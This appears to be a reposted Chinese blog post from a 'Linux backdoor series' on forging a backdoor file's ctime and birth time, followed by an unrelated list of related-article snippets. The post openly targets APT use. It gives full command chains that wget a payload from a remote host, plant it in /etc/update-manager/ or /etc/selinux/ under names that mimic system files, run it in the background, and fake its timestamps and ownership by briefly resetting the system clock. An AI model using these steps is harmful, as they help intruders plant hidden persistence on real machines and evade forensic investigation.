修改后门ctime | Linux 后门系列

0x00 前情提要

在 alias 后门 | Linux 后门系列一文中,我们为了让后门完美一些,修改了后门文件的 atime、mtime,但是 ctime 一直没有办法修改,今天我们来把这一块补齐,让后门更加完美

  • atime -> access time, 访问时间

  • mtime -> modify time,修改时间

  • ctime -> change time, 状态变化时间

最新版 Linux 中多了一个属性,文件创建时间,在 Centos Stream 中叫做 created time,在 Ubuntu中叫 Birth time

0x01 ctime 简介

文件状态变化,ctime 就会变化,例如以下信息变化:

  • 文件内容变化

  • 文件属性变化

  • 文件权限变化

  • ...

也就是说我们手动修改 atime 或者 mtime 的时候, ctime 会自动更新为当前时间。ctime是随着改变而改变的

0x02 修改 ctime 的理论方法

由于ctime的特性,我觉得这个问题可以从三个角度去考虑

  • 改变更新文件时间戳的应用运行状态

  • 改变当前时间

  • 改变展示系统时间戳的应用以及属性

1. 改变更新文件时间戳的应用运行状态

从字面意思看,我们可以找到维护Linux文件时间戳的应用,之后对应用本身进行修改,这听起来就是一个十分困难和危险的操作

简单一点,就是停止运行系统,通过较为底层的层面去修改目标文件的ctime,这应该是可行的,只要我们掌握足够的知识,但是不适合在APT场景中使用

2. 改变当前时间

系统的ctime 更改采用的时间是当前系统时间,那么也就是说如果把系统时间手动设置为 2008年1月1日,再对文件状态进行更改,那么最终留下的 ctime 就是 2008年1月1日的了

但是改变系统时间可不是一件小事,可能导致某些程序出现错误,所以需要有效的恢复手段

3. 改变展示系统时间戳的应用以及属性

一般大家都用 stat 来查看文件的完整时间戳,修改 stat 命令来改变展示的 ctime 不是一件难事

但是,可以获取文件 ctime 的应用不止 stat 一款,加上自行通过系统调用获取等。所以可以查看 stat 的源代码,看一下 stat 应用是如何获取和管理 ctime 的,针对其调用的方法进行系统性地修改应该也是可以实现修改文件 ctime 的

0x03 系统时钟与硬件时钟

Linux 时间系统分为系统时钟和硬件时钟,系统时钟存在于Linux 内核中,而硬件时钟存在于硬件主板上

从两种时钟的命名上可以看出,硬件时钟肯定是要比系统时钟更加持久,毕竟系统时钟系统关机就没了嘛

硬件时钟靠着BIOS电池供电,一直维持的一个时间,硬件都是按照这个时间来作为主要依据,每次开机会将计算机硬件时钟的时间的值作为系统时间

为了保证时间的准确性,操作系统一般会有时间同步的服务,也就是NTP服务,来让系统时间更加准确

详细知识可以查看鸟哥的网站

http://cn.linux.vbird.org/linux_server/0440ntp.php

查看系统时钟

date

查看硬件时钟

sudo hwclock --show

图片

0x04 方案选择

改变系统时间的方式最适合APT场景,所以本次介绍这一种方案

0x05 时间修改与恢复

修改系统时间后恢复系统时间必须是瞬时的,较长时间的系统时间改变会造成某些应用故障

1. 系统时间修改

可以使用 date 命令或 timedatectl 来进行,需要 root权限,这里以 date 为例

date -s "时间字符串"

将系统时间设置为 2018年8月9日 10:11:12

sudo date -s "20180809 10:11:12"

图片

这样就将系统时间修改了,但是由于 Ubuntu Server操作系统默认存在时间同步服务,刚修改完下一秒就会变回正常时间(即使是断网的情况下)

图片

快到难以让人分辨到底修改成功没有,也正是这个特性,给我们省了非常多的事,稍后会说,Centos Stream 默认就没有这个特性...

2. ctime 时间修改

ctime 时间修改可以用三种方法

  • touch -at/-mt  这种会一并修改 atime或者 mtime

  • touch -r oldfile newfile  这种方案就是将newfile 的atime 和 mtime 都设置为和 oldfile 一样,同时 ctime 就是当前系统时间了

  • chmod 或者 chown 之类的,修改一下文件属性,例如 chmod +x newfile.sh

在之前的章节中,我们使用的就是 touch -r 这种方式来伪装后门为系统正常文件,这次我们也是选择 touch -r 来进行

3. 系统时间恢复

通过上面的指令,我们已经可以将文件的 ctime 伪装成和系统某些文件一模一样的状态了,现在面临的问题是如何恢复系统时间。可以从以下几个角度去考虑:

  • 若存在NTP服务程序且存在可连接的服务器,可以使用 ntp 服务立刻同步,最常用的两个程序:ntpdate 和 chrony

    ntpdate 不是系统自带的程序, chronyc 是 Centos Stream 自带的, chronyc 立即同步执行后也要等一段时间才会将系统时间完全同步正确

    • sudo ntpdate time.ntp.org

    • sudo chronyc makestep

  • 记录修改前的 date , 修改 ctime 后立刻改回来

    NOW=$(date) && date -s "2021-09-05 08:00:00" && touch file.txt && date -s "$NOW"
    

    参考

    https://sysin.org/blog/how-to-change-file-date/#2-Linux%EF%BC%88%E4%BF%AE%E6%94%B9%E6%97%B6%E9%97%B4%EF%BC%8C%E8%AE%BF%E9%97%AE%E6%97%B6%E9%97%B4%EF%BC%89

这个操作可能会导致操作系统时间与原来差一丢丢,但应该不会差很多

  • 从硬件时间恢复操作系统时间

    • sudo hwclock --hctosys

这个命令的含义是使用硬件时间的值作为系统时间

为了防止原来的系统时间和硬件时间有较大差异,在修改系统时间之前可以先看一下系统时间和硬件时间是否有较大差距

sudo hwclock --show && date +"%Y-%m-%d %H:%M:%S"

图片

可以看到,差距不大,可以考虑从硬件时间恢复系统时间

  • 修改前将系统时间覆盖到硬件时间,修改后恢复时从硬件时间恢复系统时间

    系统时间覆盖硬件时间

    sudo hwclock --systohc

    修改ctime

    balabal

    从硬件时间恢复系统时间

    sudo hwclock --hctosys

需要注意的是,这样的操作会彻底失去原来的硬件时间

0x06 新版本Linux 文件创建时间

Ubuntu Server 22.10 以及 Centos Stream 9 都有文件创建时间这个概念了

图片

图片

文件创建时间目前 touch 命令也不支持直接修改,也没有找到其他工具可以改,所以还是需要通过修改系统时间来进行

0x07 Ubuntu Server 22.10 实验

Ubuntu Server 即使断网使用 date -s 来修改系统时间,系统时间也会马上恢复

图片

还是以 alias 后门那篇文章里的后门为例

图片

默认情况下,/etc/update-manager/目录下有一个 release-upgrades 文件,我们设置一个后门,名字为 release-update,之后再将文件时间修改为和 release-upgrades 相近的时间

先查看一下 release-upgrades 文件的时间戳信息

stat /etc/update-manager/release-upgrades

图片

Access: 2022-11-02 06:39:29.335999611 +0000
Modify: 2022-09-29 19:13:49.000000000 +0000
Change: 2022-11-02 06:36:59.067636265 +0000
 Birth: 2022-11-02 06:36:59.067636265 +0000

atime 和 mtime 可以直接使用 touch -r 复制, change 和 Birth time(创建时间)通过调整系统时间来完成

这里用whoami 程序来模拟恶意程序,为明显区分文件和目录,后门程序名称为 whoami.elf

  1. 远程下载后门程序

    wget "http://test.oss-cn-beijing.aliyuncs.com/2022/11/02/whoami.elf"  -O /tmp/release-update
    
  2. 给后门程序添加可执行权限(配置文件先将权限设置成和release-upgrades相同)

    chmod +x /tmp/release-update
    
  3. 用系统时间覆盖硬件时间

    sudo hwclock --systohc
    
  4. 修改系统时间

    sudo date -s "20221102 06:36:59"
    
  5. copy 一份后门文件来满足文件创建时间模仿

    sudo cp /tmp/release-update /etc/update-manager/
    
  6. 如果是需要执行的后门,现在执行并放置后台,如果像 alias 那种配置文件后门则不需要此章节

    /etc/update-manager/release-update & 
    
  7. touch 模拟 release-upgrades 文件的 atime 和 mtime

    sudo touch -r /etc/update-manager/release-upgrades /etc/update-manager/release-update
    
  8. 从硬件时间恢复系统时间

    sudo hwclock --hctosys
    
  9. 删除下载的后门程序

    rm /tmp/release-update
    

之前说过,这些操作必须是瞬时完成的,所以我们把它们组合起来

wget "http://test.oss-cn-beijing.aliyuncs.com/2022/11/02/whoami.elf" -O /tmp/release-update && chmod +x /tmp/release-update && sudo hwclock --systohc && sudo date -s "20221102 06:36:59" && sudo cp /tmp/release-update /etc/update-manager/ && sudo touch -r /etc/update-manager/release-upgrades /etc/update-manager/release-update && sudo hwclock --hctosys && rm /tmp/release-update

图片

实验成功

PS:Ubuntu Server 其实可以没有第 3 步和第 8 步,因为操作系统会自动同步时间

我们去掉第 3 步和第 8 步试一下

图片

实验依旧成功

0x08 Centos Stream 9 实验

Centos 这边依旧使用Ubuntu Server 中的 9 个步骤,不过Centos Stream 9 中没有 /etc/update-manager/这个文件夹,我们选择 /etc/selinux/ 这个目录

图片

这里有一个 semanage.conf ,我们的恶意配置文件起名为 semanage.conf.example

由于模拟的是配置文件,我们服务器上的恶意配置文件的名称为 whoami.conf

图片

我们需要把时间修改为 2022-11-02 00:37:06 目录和文件名也要进行对应修改

同时,既然是配置文件,我们将恶意配置文件的权限和所有权也都设置和同目录下正常文件一致(权限和所属方面要符合后门实际情况,不要造成修改后没有权限读取了)

sudo chmod --reference=正常配置文件 恶意配置文件
sudo chown --reference=正常配置文件 恶意配置文件

这一步放在第 5[6] 步与第 7 步之间

整体命令为(写命令时候一定要小心小心再小心,别写错了)

wget "http://test.oss-cn-beijing.aliyuncs.com/2022/11/02/whoami.conf" -O /tmp/semanage.conf.example && chmod +x /tmp/semanage.conf.example && sudo hwclock --systohc && sudo date -s "20221102 00:37:06" && sudo cp /tmp/semanage.conf.example /etc/selinux/ && sudo chmod --reference=/etc/selinux/semanage.conf /etc/selinux/semanage.conf.example && sudo chown --reference=/etc/selinux/semanage.conf /etc/selinux/semanage.conf.example && sudo touch -r /etc/selinux/semanage.conf /etc/selinux/semanage.conf.example && sudo hwclock --hctosys && rm /tmp/semanage.conf.example

图片

图片

实验成功!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/577537.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Chrome 网络调试程序 谷歌网络调试 network

目录 1.网络面板总览2.概况了解3.Waterfall接口排队等待时间4.关注请求接口的Size,可能是占据内存溢出的接口5.过滤器一栏 fetch/xhr 什么意思6. Stalled 什么意思7.Queueing 什么意思8.Queueing和Stalled之间什么关系9.为什么会有阻塞状态10.Time列是pending 什么意思 1.网络面…

Vue入门篇:生命周期,钩子函数,工程化开发Vue(脚手架安装),组件化开发(全局注册,局部注册)

目录 1.Vue生命周期和生命周期的四个阶段2.Vue生命周期函数(钩子函数)3.工程化开发&脚手架Vue CLI1.在powershell管理员权限下打开命令行安装脚手架:2.查看vue版本:3.创建项目架子4.运行项目 4.组件化开发&根组件1.App.vue文件&#…

解决双击PDF文件出现打印的问题【Adobe DC】

问题描述 电脑安装Adobe Acrobat DC之后,双击PDF文件就会出现打印,而无法直接打开。 右键PDF文件就会发现,第一栏出现的不是用Adobe打开,而是打印。 重装软件多次仍然无法解决。 原因 右键菜单被改写了。双击其实是执行右键菜…

计算机网络—— book

文章目录 一、概述1.1互联网的核心部分1.电路交换的主要特点2.分组交换的主要特点 1.2.计算机网络的性能1.速率2.带宽3.吞吐量4.时延5.利用率 1.3.计算机网络体系结构协议与划分层次具有五层协议…

Git如何配合Github使用

1.安装Git https://git-scm.com/ ##2.配置 Git 安装完成后,你需要设置 Git 的用户名和邮箱地址,这样在提交代码时就能知道是谁提交的。你可以在命令行中输入以下命令来配置: git config --global user.name "Your Name" git con…

JavaScript创建和填充数组的更多方法

空数组fill()方法创建并填充数组 ● 我们之前创建数组的方式都是手动去创建去一个数据,例如 console.log([1, 2, 3, 4, 5, 6, 7]);● 当然我们也可以使用Array对象来构造数组 console.log([1, 2, 3, 4, 5, 6, 7]); console.log(new Array(1, 2, 3, 4, 5, 6, 7));…

惊爆:Apple重启OpenAI谈判为iphone引入其技术

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗?订阅我们的简报,深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同,从行业内部的深度分析和实用指南中受益。不要错过这个机会,成为AI领…

用宝塔部署一套自己的漏洞扫描OpenVAS

一、OpenVAS简单说明 OpenVAS是一个开源且功能开放的网络安全漏洞评估系统,它集成了多种相关工具,构成了一套全面的网络扫描解决方案。因此,OpenVAS能够免费提供给用户部署和使用。在其最新版本中,仅需安装一个基于浏览器/服务器架…

【OceanBase诊断调优 】—— 如何快速定位SQL问题

作者简介: 花名:洪波,OceanBase 数据库解决方案架构师,目前负责 OceanBase 数据库在各大型互联网公司及企事业单位的落地与技术指导,曾就职于互联网大厂和金融科技公司,主导过多项数据库升级、迁移、国产化…

论文解读-面向高效生成大语言模型服务:从算法到系统综述

一、简要介绍 在快速发展的人工智能(AI)领域中,生成式大型语言模型(llm)站在了最前沿,彻底改变了论文与数据交互的方式。然而,部署这些模型的计算强度和内存消耗在服务效率方面带来了重大挑战&a…

BUUCTF-Misc22

[WUSTCTF2020]爬1 1.打开附件 第一个文件 2.foremost 用binwalk 文件名 查看文件是否包含其他文件 foremost 文件名 分离文件 打开分离的文件,看到PDF文件夹下有一个PDF的文本文档 打开提示被图片覆盖住了 3.WPS 用WPS打开PDF文件,点击编辑即可将图…

适合弱电行业用的项目管理系统,找企智汇项目管理系统!

弱电行业,是指通信、计算机、监控、安防、智能家居等一系列与现代生活息息相关的行业。在这个行业,项目管理的重要性不言而喻。企智汇项目管理系统在弱电行业的应用中,展现出了其独特的优势和价值。该系统能够充分满足弱电工程项目的复杂需求…

408数据结构专项算法题-2018年

题目: 分析:类似于2年前的排序问题难度,要进行有思考的暴力,即找到一些题目隐含的性质。 注:如果只是贴正确思路的话非常简单,展示错误思路有利于我整理思考一道题目的过程,锻炼思维的循序渐进。…

C++对象的初始化和处理

生活中我们买的电子产品都基本会有出厂设置!在某一天我们不用时候也会删除一些自己信息数据保证安全。 C中的面向对象来源于生活,每个对象也都会有初始设置以及对象销毁前的清理数据的设置。 构造函数和析构函数 对象的初始化和清理也是两个非常重要的安全问题 一…

数据分析:扩增子-16s rRNA分析snakemake流程

介绍 扩增子测序是分析环境微生物的常见手段,通常使用的是16s rRNA片段。16srRNA分析主要有质控、去冗余、聚类OTU、去嵌合体、生成OTU表和物种注释等步骤。更多知识分享请到 https://zouhua.top/。 先看看前期数据处理的可视化图。 数据 18份来自宏基因组公众号…

go 测试和文件

go 测试和文件 需求传统测试单元测试牛刀小试总结练习文件介绍打开关闭文件读文件一次性读取文件写文件文件或文件夹是否存在文件拷贝 需求 有一个函数&#xff0c;怎样确认他运行结果是正确的&#xff1f; func addUpper(n int)int {res : 0for i : 1; i < n; i {res1}r…

设计模式学习笔记 - 开源实战五(下):总结Mybatis中用到的10种设计模式

概述 本章再对 Mybatis 用到的设计模式做一个总结。它用到的设计模式也不少。有些前面章节已经经过了&#xff0c;有些则比较简单。 SqlSessionFactoryBuilder&#xff1a;为什么要用建造者模式来创建 SqlSessionFactory&#xff1f; 在《Mybatis如何权衡易用性、性能和灵活性…

【算法基础实验】图论-UnionFind连通性检测之quick-find

Union-Find连通性检测之quick-find 理论基础 在图论和计算机科学中&#xff0c;Union-Find 或并查集是一种用于处理一组元素分成的多个不相交集合&#xff08;即连通分量&#xff09;的情况&#xff0c;并能快速回答这组元素中任意两个元素是否在同一集合中的问题。Union-Fin…

编译支持播放H265的cef控件

接着在上次编译的基础上增加h265支持编译支持视频播放的cef控件&#xff08;h264&#xff09; 测试页面&#xff0c;直接使用cef_enhancement,里边带着的那个html即可&#xff0c;h265视频去这个网站下载elecard,我修改的这个版本参考了里边的修改方式&#xff0c;不过我的这个…

用友政务财务系统FileDownload接口存在任意文件读取漏洞

声明&#xff1a; 本文仅用于技术交流&#xff0c;请勿用于非法用途 由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失&#xff0c;均由使用者本人负责&#xff0c;文章作者不为此承担任何责任。 简介 用友政务财务系统是由用友软件开发的一款针对政府机…